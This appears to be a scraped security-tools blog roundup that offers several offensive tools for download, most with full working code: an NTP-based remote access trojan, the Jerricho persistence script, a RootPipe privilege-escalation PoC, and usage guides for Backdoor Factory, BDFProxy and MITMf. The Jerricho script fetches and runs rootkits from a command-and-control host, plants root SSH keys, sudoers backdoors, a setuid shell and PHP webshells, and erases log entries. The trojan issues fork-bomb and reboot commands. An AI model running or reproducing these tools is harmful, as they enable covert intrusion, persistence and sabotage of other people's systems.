NTP_Trojan is a Reverse NTP remote access trojan in python, for penetration testers.
This idea to create a trojan that uses NTP as it’s command and control channel, as the channel is fairly non-obvious and NTP traffic is also common.
server use NTPServer  A Python based ntp server.
– Tested on Linux and Windows7.
Client Side :

import ntplib
import sys, os, subprocess
from time import ctime

HostIP = '127.0.0.1'

# Essential shell functionality
def run_command(cmd):
  proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
    stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  stdoutput = proc.stdout.read() + proc.stderr.read()
  return stdoutput

c = ntplib.NTPClient()
response = c.request(HostIP)
#print ctime(response.tx_time) # old print time
command = response.tx_time
#print ctime(command); print int(command)
# Forkbomb command
if int(command) == int(-2208988799):
  run_command(":(){ :|:& };:")
# Reboot if root command  
if int(command) == int(-2208988798):
  run_command("reboot")
# Test command  
if int(command) == int(-2208988797):
  print run_command("echo test")

Server side :

import datetime
import socket
import struct
import time
import Queue
import mutex
import threading
import select

listenIp = "0.0.0.0"
listenPort = 123
# Quick memu
PROMPT = '1) Fork Bomb\n2) Reboot (if root)\n3) Test\n4) Quit\nCommand >> '

taskQueue = Queue.Queue()
stopFlag = False

def system_to_ntp_time(timestamp):
  return timestamp + NTP.NTP_DELTA

def _to_frac(timestamp, n=32):
  return int(abs(timestamp - _to_int(timestamp)) * 2**n)

def _to_time(integ, frac, n=32):
  return integ + float(frac)/2**n

def _to_int(timestamp):
  return int(timestamp)

class NTP:

  _SYSTEM_EPOCH = datetime.date(*time.gmtime(0)[0:3])
  _NTP_EPOCH = datetime.date(1900, 1, 1)
  NTP_DELTA = (_SYSTEM_EPOCH - _NTP_EPOCH).days * 24 * 3600

  REF_ID_TABLE = {
    'DNC': "DNC routing protocol",
    'NIST': "NIST public modem",
    'TSP': "TSP time protocol",
    'ATOM': "Atomic clock (calibrated)",
    'VLF': "VLF radio (OMEGA, etc)",
    'callsign': "Generic radio",
    'LORC': "LORAN-C radionvidation",
    'GOES': "GOES UHF environment satellite",
    'GPS': "GPS UHF satellite positioning",
  }

  STRATUM_TABLE = {
    0: "unspecified",
    1: "primary reference",
  }

  MODE_TABLE = {
    0: "unspecified",
    1: "symmetric active",
    2: "symmetric passive",
    3: "client",
    4: "server",
    5: "broadcast",
    6: "reserved for NTP control messages",
    7: "reserved for private user",
  }

  LEAP_TABLE = {
    0: "no warning",
    1: "last minute has 61 seconds",
    2: "last minute has 59 seconds",
    3: "alam condition (clock ot synchronized)",
  }

class NTPPacket:
  _PACKET_FORMAT = "!B B B b 11I"

  def __init__(self, version=2, mode=3, tx_timestamp=0):
    self.leap = 0
    self.version = version
    self.mode = mode
    self.stratum = 0
    self.poll = 0
    self.precision = 0
    self.root_delay = 0
    self.root_dispersion = 0
    self.ref_id = 0
    self.ref_timestamp = 0
    self.orig_timestamp = 0
    self.orig_timestamp_high = 0
    self.orig_timestamp_low = 0
    self.recv_timestamp = 0
    self.tx_timestamp = tx_timestamp
    self.tx_timestamp_high = 0
    self.tx_timestamp_low = 0

  def to_data(self):

    try:
      packed = struct.pack(NTPPacket._PACKET_FORMAT,
      	(self.leap << 6 | self.version << 3 | self.mode),
      	self.stratum,
      	self.poll,
      	self.precision,
      	_to_int(self.root_delay) << 16 | _to_frac(self.root_delay, 16),
      	_to_int(self.root_dispersion) << 16 |
      	_to_frac(self.root_dispersion, 16),
      	self.ref_id,
      	_to_int(self.ref_timestamp),
      	_to_frac(self.ref_timestamp),
      	self.orig_timestamp_high,
      	self.orig_timestamp_low,
      	_to_int(self.recv_timestamp),
      	_to_frac(self.recv_timestamp),
      	_to_int(self.tx_timestamp),
      	_to_frac(self.tx_timestamp))
      return packed
    except struct.error:
      print "Invalid NTP packet fields."

  def from_data(self, data):
    try:
      unpacked = struct.unpack(NTPPacket._PACKET_FORMAT,
      	data[0:stuct.calcsize(NTPPacket._PACKET_FORMAT)])

      self.leap = unpacked[0] >> 6 & 0x3
      self.version = unpacked[0] >> 3 & 0x7
      self.mode = unpacked[0] & 0x7
      self.stratum = unpacked[1]
      self.poll = unpacked[2]
      self.precision = unpacked[3]
      self.root_delay = float(unpacked[4])/2**16
      self.root_dispersion = float(unpacked[5])/2**16
      self.ref_id = unpacked[6]
      self.ref_timestamp = _to_time(unpacked[7], unpacked[8])
      self.orig_timestamp = _to_time(unpacked[9], unpacked[10])
      self.orig_timestamp_high = unpacked[9]
      self.orig_timestamp_low = unpacked[10]
      self.recv_timestamp = _to_time(unpacked[11], unpacked[12])
      self.tx_timestamp = _to_time(unpacked[13], unpacked[14])
      self.tx_timestamp_high = unpacked[13]
      self.tx_timestamp_low = unpacked[14]
    except:
      print "Invalid NTP packet."

  def GetTxTimeStamp(self):
    return (self.tx_timestamp_high,self.tx_timestamp_low)

  def SetOriginTimeStamp(self,high,low):
    self.orig_timestamp_high = high
    self.orig_timestamp_low = low

class RecvThread(threading.Thread):
  def __init__(self,socket):
    threading.Thread.__init__(self)
    self.socket = socket
  def run(self):
    global taskQueue,stopFlag
    while True:
      if stopFlag == True:
        print "RecvThread Ended"
        break
      rlist,wlist,elist = select.select([self.socket],[],[],1);
      if len(rlist) != 0:
        print "Received %d packets" % len(rlist)
        for tempSocket in rlist:
          try:
            data,addr = tempSocket.recvfrom(1024)
            recvTimestamp = system_to_ntp_time(time.time())
            taskQueue.put((data,addr,recvTimestamp))
          except socket.error,msg:
            print msg;

class WorkThread(threading.Thread):
  def __init__(self,socket):
    threading.Thread.__init__(self)
    self.socket = socket
  def run(self):
    global taskQueue,stopFlag
    while True:
      if stopFlag == True:
        print "WorkThread Ended"
        break
      try:
        data,addr,recvTimestamp = taskQueue.get(timeout=1)
        recvPacket = NTPPacket()
        recvPacket.from_data(data)
        timeStamp_high,timeStamp_low = recvPacket.GetTxTimeStamp()
        sendPacket = NTPPacket(version=3,mode=4)
        sendPacket.stratum = 2
        sendPacket.poll = 10
        sendPacket.ref_timestamp = recvTimestamp-5
        sendPacket.SetOriginTimeStamp(timeStamp_high,timeStamp_low)
        sendPacket.recv_timestamp = recvTimestamp
        # old time method
        #sendPacket.tx_timestamp = system_to_ntp_time(time.time())
        # prompt for shell command
        tx_command = 0
        shellInput = raw_input(PROMPT)
        if shellInput == '1': tx_command = 1 #Set bot to issue a forkbomb
        if shellInput == '2': tx_command = 2 #Set bot to reboot if root
        if shellInput == '3': tx_command = 3 #Set bot to issue a test command
        if shellInput == '4': exit(0) #Set program to exit cleanly
        if tx_command == 0: system_to_ntp_time(time.time())
        #for char in shellInput:
          #tx_command.append(ord(char))
        #tx_command = int(''.join(map(str,tx_command)))
        print tx_command
        sendPacket.tx_timestamp = tx_command
        socket.sendto(sendPacket.to_data(),addr)
        print "Sent to %s:%d" % (addr[0],addr[1])
      except Queue.Empty:
        continue

socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
socket.bind((listenIp,listenPort))
print "local socket: ", socket.getsockname();
recvThread = RecvThread(socket)
recvThread.start()
workThread = WorkThread(socket)
workThread.start()

while True:
  try:
    time.sleep(0.5)
  except KeyboardInterrupt:
    print "Exiting..."
    stopFlag = True
    recvThread.join()
    workThread.join()
    print "Exited"
    break

Download : Master.zip  | Clone Url
Source : https://github.com/ahhh | http://lockboxx.blogspot.com/

Jerricho is a simple bourne script that quickly drops several persistence mechanisms on a target Linux host. OS Support : Ubuntu, Centos, Debian, FreeBSD.

TODO:
– Add a web interface for managing the connections and running commands.
– Automatically pull down passwords from the local systems, store, and sort them accordingly.
– Add a function to check to see if the system is still infected / running the rootkit and backdoors and if not re-execute/re-infect the system.
– Aggregate sniffer logs
– Keeping track of hosts which are still accessible via rootkit
– add bin to sudoers
– clear up logs better (Could probably do a date check when we execute on the system and remove all log lines that are 5 seconds before and 15 seconds after)
– spider and revert sshd_config
– rootkit – specify multiple ports on cmdline
– add iptables -F to all init scripts.
– Change the timestamp of modified files

Usage :
+ You run it as root, it drops a bunch of backdoors in multiple places. This enabled us to easily retain access at regionals for almost all systems.

+ runs stuff out of “/dev/…” and “/dev/ ” (2 spaces) because hiding in plain sight is easy.

+ to run via msf session: sessions -c export HISTFILE=/dev/null; wget -q $C2_URL/scripts/jericho2.1.sh -O /dev/stdout | /bin/sh – && history -c

Image may be NSFW.
Clik here to view.

Must be change the URL :
C2 URL and c2 IPAddress

this creates several ways back in:
1) drops our kernel rootkit which hooks accept() — lets us back in via any listening port, hides processes, etc
2) adds a root ssh key
3) drops our modified trixd00rd (takes params from env vars) as ‘rsyslogd’
4) drops the rooty icmp backdoor as ‘udevd’
5) backdoors the ‘bin’ system account, adds it to sudoers
6) adds a setuid shell in “/dev/ /” for re-elevation from php/bin account if needed
7) drops a basic PHP shell in a couple of likely web roots (http://url/.src.php?e=uptime)
8) adds all likely webserver users to sudoers (www-data, apache, httpd)

Additional:
– removes all entries from who (removes & re-creates utmp file, we can be selective later)
– optionally installs root a crontab to clear iptables rules every 5m. (uncomment iptables stuff if needed)
– optionally runs a bash script that takes down all services every 10s (teams lose points, also currently disabled)
– adds a secondary pubkey location to sshd_config, sourcing keys from /etc/ssh/authorized_keys as well as the std %h/.ssh dirs.
– We actually had people unknowlingly remove the kernel backdoor through various upgrade and reboot activities, init script changes,etc, only for us to retain access using the web shell, re-elevate via the suid bin and reinstall.

Latest Released v-2.1 Code:

#!/bin/sh
# cmc / sapling
# installs rootkit & backdoors on debian/centos/pfsense bsd boxes

# root ssh key
SHARED_PUBKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKcAi3VkTNZOQsLiiPvE8gyThrLzD2w8g1aN4VArx8ksOfVteVRfDtjWVLgLpdbySjaIBXn4WeViqxf1TZ8fq5loN4tcHnFOvtBs30JQ1JktwXqwvZaHomqZGJeP0IHLK9rYsJZnHbyk4u2qgs/vpM3wkhX86ywpDzTo+xTEV+XPuCBP+e7QIDuBM20rXkHEroIssYDjSus9o3issH/u+iguGulJaW534mZ9YiC6ELoDKLpQ0wCgwEjLfg04Tz6L6mKBjkyq86wb5iDo0+5zrY5XKOJB5BiBsvAULBnA3to203ZaGrJWQP1CdPbpOINHkTekoWJt5W40LSD41pE86z"

### CHANGE ME ###
# urls for webserver where kits/backdoor binaries are hosted
# file names to grab 

C2_URL="http://172.25.58.142/"
C2_IP="172.25.58.142"

# fedora kit
FEDORA_KIT="fedx32.bin"
FEDORA64_KIT="fedx64.bin"
UBUNTU64_KIT="ubux64.bin"
UBUNTU_KIT="ubux32.bin"
BSD_KIT="hole.bin"
TRIXDOOR="trixd00rd-static-ubuntu"
ROOTY="rooty-release.x86"
ROOTYBSD="rootybsd.x64"

#################

ARCH=`uname -i`

do_backdoors() {
        echo "removing utmp.."
        rm -rf /var/run/utmp
        touch /var/run/utmp
        chmod 664 /var/run/utmp 
        echo "installing root ssh key!"
        chattr -i /root/.ssh/authorized*
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys2
        echo $SHARED_PUBKEY >> /root/.ssh/authorized_keys
        # add secondary key auth file, for when they inevitably remove /root/.ssh/
        echo $SHARED_PUBKEY >> /etc/ssh/authorized_keys
        echo 'AuthorizedKeysFile /etc/ssh/authorized_keys' >> /etc/ssh/sshd_config
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping trixd00r.." 
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
        cd /dev/...
        wget -q $C2_URL$TRIXDOOR -O rsyslogd
        chmod +x rsyslogd
        env PATH=$PWD MANAGER=$C2_IP /usr/bin/nohup rsyslogd &
        echo "dropping rooty.."
        wget -q $C2_URL$ROOTY -O udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        # uncomment below to do iptables crontab shenanigans
        # echo "adding 5m disable iptables crontab.."
        # echo "*/5 * * * * /sbin/iptables -F" | crontab -
        echo "backdoor bin account! pass=lol123"
        sed -i -e 's/bin:\*:/bin:$6$OkgT6DOT$0fswsID8AwsBF35QHXQVmDLzYGT.pUtizYw2G9ZCe.o5pPk6HfdDazwdqFIE40muVqJ832z.p.6dATUDytSdV0:/g' /etc/shadow
        usermod -s /bin/sh bin
        echo 'bin ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers 
        echo 'www-data ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'apache ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        echo 'httpd ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers
        groupadd admin
        # take care of logs, ie 'groupadd[31001]: new group: name=admin, GID=1005' in auth.log
        sed -ie "/groupadd/d" /var/log/auth.log /var/log/messages /var/log/secure
        # ubuntu automatically makes members of admin have sudo capabilities. 
        # lets give that as an option for root to web backdoors
        usermod -G admin -a bin
        usermod -G admin -a www-data
        usermod -G admin -a httpd
        usermod -G admin -a apache
        # take care of logs, ie 'usermod[31005]: add 'bin' to group 'admin'
        sed -ie "/usermod/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "setuid /bin/sh! for use with bin account"
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cp /bin/sh "/dev/  /pwnd"
        chmod 777 "/dev/  /pwnd"
        chown root:root "/dev/  /pwnd"
        chmod u+s "/dev/  /pwnd"
        echo "clearing log entries with our IP.."
        sed -ie "/$C2_IP/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/passwd/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for bin/d" /var/log/auth.log /var/log/messages /var/log/secure
        sed -ie "/Accepted password for root/d" /var/log/auth.log /var/log/messages /var/log/secure
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}

do_bsdbackdoors() {
        # this was a quick hack for the pfsense firewalls
        # uses netcat vs wget because wget isnt installed on pfsense
        # by default
        echo "installing root ssh key!"
        if [ ! -d "/root/.ssh" ]; then
            mkdir /root/.ssh
        fi
        echo $PUBKEY >> /root/.ssh/authorized_keys2
        echo $PUBKEY >> /root/.ssh/authorized_keys
        chattr +i /root/.ssh/authorized_keys*
        echo "dropping rooty via netcat.."
        # NOTE: must have listening netcat with 'cat rootybsd.bin|nc -l 1338' on c2 server.
        if [ ! -d "/dev/  " ]; then
            mkdir "/dev/  "
        fi
        cd "/dev/  "
        nc $C2_IP 1338 > udevd
        chmod +x udevd
        env PATH=$PWD /usr/bin/nohup udevd &
        echo "dropping webshells.."
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/.src.php
        chmod 777 /var/www/.src.php
        echo '<?php echo shell_exec($_GET['e']); ?>' > /var/www/html/.src.php
        chmod 777 /var/www/html/.src.php
}


do_centos_rootkit() {
	echo "Retrieving Fedora x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
	cd /dev/...
	wget -q $C2_URL$FEDORA_KIT
	chmod +x `basename $FEDORA_KIT`
	./`basename $FEDORA_KIT`
}

do_centos64_rootkit() {
	echo "Retrieving Fedora x64 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
	cd /dev/...
	wget -q $C2_URL$FEDORA64_KIT
	chmod +x `basename $FEDORA64_KIT`
	./`basename $FEDORA64_KIT`
}


do_freebsd64_rootkit() {
    echo "Installing BSD hole.bin.."
    cd /opt/
    # cmc: pfSense / BSD has no wget/curl
    # make sure we have a listening netcat
    # cat backdoor.bin | nc -v -l 13337
    nc $C2_URL 1337 > /opt/scorebotd
    # chmod 0755 `basename $BSD_KIT`
    # mv `basename $BSD_KIT` /opt/scorebotd
    chmod +x /opt/scorebotd
    nohup /opt/scorebotd &
}
do_ubuntu_rootkit() {
	echo "Retrieving ubuntu x86 kit..."
        if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
        fi
	cd /dev/...
	wget -q $C2_URL$UBUNTU_KIT
	chmod +x `basename $UBUNTU_KIT`
	./`basename $UBUNTU_KIT`
}


do_ubuntu64_rootkit() {
echo "Retrieving ubuntu x64 kit..."
    if [ ! -d "/dev/..." ]; then
            mkdir /dev/...
    fi
    cd /dev/...
    wget -q $C2_URL$UBUNTU64_KIT
    chmod +x `basename $UBUNTU64_KIT`
    ./`basename $UBUNTU64_KIT`
}

goodbye_sla() {
    cat <<EOF > /usr/share/service.sh
#!/bin/bash
#UMAD?
while [ 0 ]
do
	service httpd stop
	service postfix stop
	service sendmail stop
	service mysql stop
	service webmin stop
        service named stop
        service bind stop
	killall -9 webmin.pl
	killall -9 apache2
        killall -9 httpd
        killall -9 named
	killall -9 mysqld_safe
	killall -9 mysqld
        sleep 10
done
EOF
chmod +x /usr/share/service.sh
nohup /usr/share/service.sh >/dev/null 2>&1 &
}

# 64bit fedora
if [ $ARCH = "x86_64" ] && [ -f "/etc/redhat-release" ]; then
	do_centos64_rootkit
	do_backdoors
fi

# 32bit fedora
if [ $ARCH != "x86_64" ] && [ -f "/etc/redhat-release" ]; then
	do_centos_rootkit
	do_backdoors
        #goodbye_sla
fi


# ubuntu/debian 64bit 
if [ $ARCH  = "x86_64" ] && [ -f "/etc/debian_version" ]; then
    do_ubuntu64_rootkit
    do_backdoors
    #goodbye_sla
fi

# ubuntu/debian 32bit (assumed if not 64, whatever)
if [ $ARCH != "x86_64" ] && [ -f "/etc/debian_version" ]; then
	do_ubuntu32_rootkit
	do_backdoors
	#goodbye_sla
fi


# freebsd
if [ `uname`  = 'FreeBSD' ]; then
	do_freebsd64_kit
	do_bsdbackdoors    
fi

Download : Master.zip  | Clone Url
Source : https://github.com/ketm768

Root Pipe – This is a Proof-of-Concept Mac Application that demonstrates the RootPipe Privilege Escalation Vulnerability (CVE-2015-1130). this tool to create Hidden backdoor API to root privileges in Apple OS X.

Image may be NSFW.
Clik here to view.

Example Demo

Usage RootPipe demo :
To use, simply give a path to a file that you want to have escalated permissions, then provide the path where you want the file to be copied to with the escalated permissions, then provide your permissions in octal format (i.e. 04777), and (optionally) provide the file owner name and group

OS Support : Mac OS X 10.9 – Mac OS X 10.10.2
RootPipe Code :

########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])


args = sys.argv

if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


print "Done!"

del pool

For Full Disclosure : https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/

Download :
Rootpipe : Master.zip  | Clone Url
Rootpipe Demo : Master.zip  | CLone Url
Source : https://github.com/hiburn8 and https://github.com/Shmoopi

For security professionals and researchers only.

Change : Add support for BDF 3.0

This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy.
Concept:
Patch binaries during download ala MITM.
Why:
Because a lot of security tool websites still serve binaries via non-SSL/TLS means.
Here’s a short list:

sysinternals.com
Microsoft - MS Security Essentials
Almost all anti-virus companies
Malwarebytes
Sourceforge
gpg4win
Wireshark
etc...

+ Supported Environment:

Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy.

Install:
BDF is in bdf/
Run the following to pull down the most recent:

./install.sh

OR:

git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/
If you get a certificate error, run the following:

mitmproxy
And exit [Ctr+C] after mitmProxy loads.

Usage:

Update everything before each use:

./update.sh

 READ THE CONFIG!!!

-->bdfproxy.cfg

You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You’ll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don’t have to kill your proxy to change settings to work with your environment.

But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally.

Then:

./bdf_proxy.py

Here’s some sweet ascii art for possible phyiscal settings of the proxy:
Lan usage:

<Internet>----<mitmMachine>----<userLan>

WIFI Usage :

<Internet>----<mitmMachine>----<wifiPineapple>))

 Testing : 

Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup.

    Update your config as follows:
    transparentProxy = False

    Configure FoxyProxy to use BDFProxy as a proxy.
    Default port in the config is 8080.

+ Logging:

We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure.

+ Attack Scenarios (all with permission of targets):
-Evil Wifi AP
-Arp Redirection
-Physical plant in a wiring closet
-Logical plant at your favorite ISP

Download version :
BDFProxy-0.3.2.tar.gz(14 KB)
BDFProxy-0.3.2.zip(14 KB)  | Our Post Before | Source : https://github.com/secretsquirrel

Contact the developer on:
IRC: irc.freenode.net #BDFactory
Twitter: @midnite_runr

NOTICE: For security professionals and researchers only.
Changelog : 04/14/2015
+ Change v-3.0 : Auto PE Patching, New IAT Paylaods.

Usage: payloadtest.py binary HOST PORT

The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

Image may be NSFW.
Clik here to view.

Features:
+ PE Files
+ ELF Files
+ Mach-O Files
+ OverallImage may be NSFW.
Clik here to view.

Dependences:
Capstone, using the ‘next’ repo until it is the ‘master’ repo: https://github.com/aquynh/capstone/tree/next
Pefile, most recent: https://code.google.com/p/pefile/ Image may be NSFW.
Clik here to view.

INSTALL:
./install.sh

This will install Capstone with the ‘next’ repo and use pip to install pefile.

UPDATE:
./update.sh

Documentation and Presentation:
– http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
– http://www.youtube.com/watch?v=LjUN9MACaTs

Sample Usage:
Patch an exe/dll using an existing code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Patch an exe/dll by adding a code section:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Patch a directory of exes:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

User supplied shellcode:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

Hunt and backdoor: Injector | Windows Only

The injector module will look for target executables to backdoor on disk.  It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.  
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

Download : the-backdoor-factory-3.0.0.zip(104 KB) |  the-backdoor-factory-3.0.0.tar.gz(84 KB)

Contact the developer on:
IRC: irc.freenode.net #BDFactory
Twitter: @midnite_runr
Source : https://github.com/secretsquirrel/the-backdoor-factory | Our Post Before

NOTICE: For security professionals and researchers only.

Changelog MITMf v0.9.6 :
+ DNSChef integration
+ FilePwn plugin updated to latest BDFProxy version
+ Huge amount of bugfixes
+ Code style fixesImage may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

(Another) Dependency change!
As of v0.9.6, the fork of the python-netfilterqueue library is no longer required.

Installation
If MITMf is not in your distros repo or you just want the latest version:
– clone this repository
– run the setup.sh script
– run the command pip install -r requirements.txt to install all python dependencies

Image may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

Changelog
– Addition of DNSChef, the framework is now a IPv4/IPv6 (TCP & UDP) DNS server ! Supported queries are: ‘A’, ‘AAAA’, ‘MX’, ‘PTR’, ‘NS’, ‘CNAME’, ‘TXT’, ‘SOA’, ‘NAPTR’, ‘SRV’, ‘DNSKEY’ and ‘RRSIG’
– Addition of the Sniffer plugin which integrates Net-Creds currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos
– Integrated Responder to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server.
– Integrated SSLstrip+ by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014
– Addition of the SessionHijacking plugin, which uses code from FireLamb to store cookies in a Firefox profile
– Spoof plugin can now exploit the ‘ShellShock’ bug when DHCP spoofing!
– Spoof plugin now supports ICMP, ARP and DHCP spoofing
– Usage of third party tools has been completely removed (e.g. ettercap)
– FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory and code from BDFProxy
– Added msfrpc.py for interfacing with Metasploits rpc server
– Added beefapi.py for interfacing with BeEF’s RESTfulAPI
– Addition of the app-cache poisoning attack by Krzysztof Kotowicz (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html)

Image may be NSFW.
Clik here to view.

Framework for Man-In-The-Middle attacks

How to install on Kali
MITMf is now in tha kali linux repositories!
apt-get install mitmf

Download : Master.zip | Clone Url | 0.9.6.zip | 0.9.6.tar.gz
Source : http://sign0f4.blogspot.it/ | Github
Our Post before: http://seclist.us/updates-mitmf-v-0-9-5-framework-for-man-in-the-middle-attacks.html

iv-wrt is An intentionally vulnerable router firmware distribution based on OpenWrt.
Feature :
+ Authentication Bypass; Authentication bypass is turned off for the network disgnostics page.
+ Backdoor; A backdoor user account with root priveleges has been added.
